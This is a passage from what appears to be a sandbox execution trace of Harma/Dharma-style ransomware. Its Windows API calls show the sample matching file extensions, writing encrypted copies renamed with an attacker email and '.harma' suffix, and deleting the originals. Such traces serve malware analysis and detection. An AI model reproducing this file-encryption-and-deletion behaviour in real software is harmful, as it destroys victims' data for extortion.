(lpString1=".ppt", lpString2=".xml") returned -1 [0133.912] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0133.912] lstrlenW (lpString=".zip") returned 4 [0133.912] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0133.912] lstrlenW (lpString=".rar") returned 4 [0133.913] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0133.913] lstrlenW (lpString=".bz2") returned 4 [0133.913] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0133.913] lstrlenW (lpString=".7z") returned 3 [0133.913] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0133.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0133.913] lstrlenW (lpString=".dbf") returned 4 [0133.913] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0133.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0133.913] lstrlenW (lpString=".1cd") returned 4 [0133.913] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0133.913] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml") returned 61 [0133.913] lstrlenW (lpString=".jpg") returned 4 [0133.913] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0133.913] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0133.914] lstrlenW (lpString="ipsdan.xml") returned 10 [0133.914] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0133.914] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=2514) returned 1 [0133.914] CloseHandle (hObject=0x324) returned 1 [0133.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0133.914] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0133.914] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0133.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0133.914] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0133.914] lstrlenW (lpString=".doc") returned 4 [0133.915] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0133.915] lstrlenW (lpString=".docx") returned 5 [0133.915] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0133.915] lstrlenW (lpString=".pdf") returned 4 [0133.915] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0133.915] lstrlenW (lpString=".xls") returned 4 [0133.915] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0133.915] lstrlenW (lpString=".xlsx") returned 5 [0133.915] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0133.915] lstrlenW (lpString=".ppt") returned 4 [0133.915] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0133.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0133.915] lstrlenW (lpString=".zip") returned 4 [0133.915] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0133.915] lstrlenW (lpString=".rar") returned 4 [0133.915] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0133.915] lstrlenW (lpString=".bz2") returned 4 [0133.915] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0133.915] lstrlenW (lpString=".7z") returned 3 [0133.915] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0133.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml") returned 61 [0133.915] lstrlenW (lpString=".dbf") returned 4 [0133.915] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0134.994] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0134.995] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0134.996] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0134.997] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0134.997] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0134.998] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0134.998] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0135.000] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0135.000] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0135.001] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0136.676] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.676] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0137.132] GetLastError () returned 0x0 [0137.132] ReadFile (in: hFile=0x330, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x2a50, lpOverlapped=0x0) returned 1 [0137.153] WriteFile (in: hFile=0x344, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0x2a60, lpOverlapped=0x0) returned 1 [0137.155] ReadFile (in: hFile=0x330, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0137.155] WriteFile (in: hFile=0x344, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0137.155] SetEndOfFile (hFile=0x344) returned 1 [0137.165] CloseHandle (hObject=0x344) returned 1 [0137.165] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.165] SetEndOfFile (hFile=0x330) returned 1 [0137.173] CloseHandle (hObject=0x330) returned 1 [0137.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0137.239] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an00914_.wmf")) returned 1 [0137.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0137.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0137.240] lstrlenW (lpString=".doc") returned 4 [0137.240] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.240] lstrlenW (lpString=".docx") returned 5 [0137.240] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.240] lstrlenW (lpString=".pdf") returned 4 [0137.241] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.241] lstrlenW (lpString=".xls") returned 4 [0137.241] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.241] lstrlenW (lpString=".xlsx") returned 5 [0137.241] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.241] lstrlenW (lpString=".ppt") returned 4 [0137.241] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0137.241] lstrlenW (lpString=".zip") returned 4 [0137.241] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.241] lstrlenW (lpString=".rar") returned 4 [0137.241] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.241] lstrlenW (lpString=".bz2") returned 4 [0137.241] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.241] lstrlenW (lpString=".7z") returned 3 [0137.241] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0137.241] lstrlenW (lpString=".dbf") returned 4 [0137.241] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0137.241] lstrlenW (lpString=".1cd") returned 4 [0137.241] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0137.241] lstrlenW (lpString=".jpg") returned 4 [0137.241] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0137.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0137.242] lstrlenW (lpString=".doc") returned 4 [0137.242] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.242] lstrlenW (lpString=".docx") returned 5 [0137.242] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.242] lstrlenW (lpString=".pdf") returned 4 [0137.242] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.242] lstrlenW (lpString=".xls") returned 4 [0137.242] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.242] lstrlenW (lpString=".xlsx") returned 5 [0137.242] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.242] lstrlenW (lpString=".ppt") returned 4 [0137.242] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0137.242] lstrlenW (lpString=".zip") returned 4 [0137.242] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.242] lstrlenW (lpString=".rar") returned 4 [0137.242] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.242] lstrlenW (lpString=".bz2") returned 4 [0137.242] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.242] lstrlenW (lpString=".7z") returned 3 [0137.243] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0137.243] lstrlenW (lpString=".dbf") returned 4 [0137.243] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0137.243] lstrlenW (lpString=".1cd") returned 4 [0137.243] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN00914_.WMF") returned 63 [0137.243] lstrlenW (lpString=".jpg") returned 4 [0137.243] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.243] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0137.243] lstrlenW (lpString="AN01039_.WMF") returned 12 [0137.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0137.244] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=3344) returned 1 [0137.244] CloseHandle (hObject=0x34c) returned 1 [0137.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf")) returned 0x20 [0137.244] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0137.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0137.244] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.244] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0137.246] GetLastError () returned 0x0 [0137.246] ReadFile (in: hFile=0x34c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0xd10, lpOverlapped=0x0) returned 1 [0137.307] WriteFile (in: hFile=0x350, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xd20, lpOverlapped=0x0) returned 1 [0137.309] ReadFile (in: hFile=0x34c, lpBuffer=0x3890020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d7fed4, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesRead=0x2d7fed4*=0x0, lpOverlapped=0x0) returned 1 [0137.309] WriteFile (in: hFile=0x350, lpBuffer=0x3890020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3890020*, lpNumberOfBytesWritten=0x2d7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0137.309] SetEndOfFile (hFile=0x350) returned 1 [0137.309] CloseHandle (hObject=0x350) returned 1 [0137.310] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d7fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.310] SetEndOfFile (hFile=0x34c) returned 1 [0137.312] CloseHandle (hObject=0x34c) returned 1 [0137.313] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0137.313] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf")) returned 1 [0137.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0137.314] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0137.314] lstrlenW (lpString=".doc") returned 4 [0137.314] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.314] lstrlenW (lpString=".docx") returned 5 [0137.314] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.314] lstrlenW (lpString=".pdf") returned 4 [0137.314] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.314] lstrlenW (lpString=".xls") returned 4 [0137.314] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.314] lstrlenW (lpString=".xlsx") returned 5 [0137.315] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.315] lstrlenW (lpString=".ppt") returned 4 [0137.315] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0137.315] lstrlenW (lpString=".zip") returned 4 [0137.315] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.315] lstrlenW (lpString=".rar") returned 4 [0137.315] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.315] lstrlenW (lpString=".bz2") returned 4 [0137.315] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.315] lstrlenW (lpString=".7z") returned 3 [0137.315] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0137.315] lstrlenW (lpString=".dbf") returned 4 [0137.381] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0137.381] lstrlenW (lpString=".1cd") returned 4 [0137.381] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0137.381] lstrlenW (lpString=".jpg") returned 4 [0137.381] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0137.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0137.381] lstrlenW (lpString=".doc") returned 4 [0137.381] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0137.381] lstrlenW (lpString=".docx") returned 5 [0137.381] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0137.381] lstrlenW (lpString=".pdf") returned 4 [0137.381] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0137.381] lstrlenW (lpString=".xls") returned 4 [0137.381] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0137.381] lstrlenW (lpString=".xlsx") returned 5 [0137.381] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0137.381] lstrlenW (lpString=".ppt") returned 4 [0137.382] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0137.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0137.382] lstrlenW (lpString=".zip") returned 4 [0137.382] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0137.382] lstrlenW (lpString=".rar") returned 4 [0137.382] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0137.382] lstrlenW (lpString=".bz2") returned 4 [0137.382] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0137.382] lstrlenW (lpString=".7z") returned 3 [0137.382] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0137.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0137.382] lstrlenW (lpString=".dbf") returned 4 [0137.382] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0137.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0137.382] lstrlenW (lpString=".1cd") returned 4 [0137.382] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0137.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0137.382] lstrlenW (lpString=".jpg") returned 4 [0137.382] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0137.382] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0137.382] lstrlenW (lpString="AN01173_.WMF") returned 12 [0137.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0139.245] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x2d7ff1c | out: lpFileSize=0x2d7ff1c*=26332) returned 1 [0139.245] CloseHandle (hObject=0x210) returned 1 [0139.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf")) returned 0x20 [0139.315] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0139.315] CreateFileW 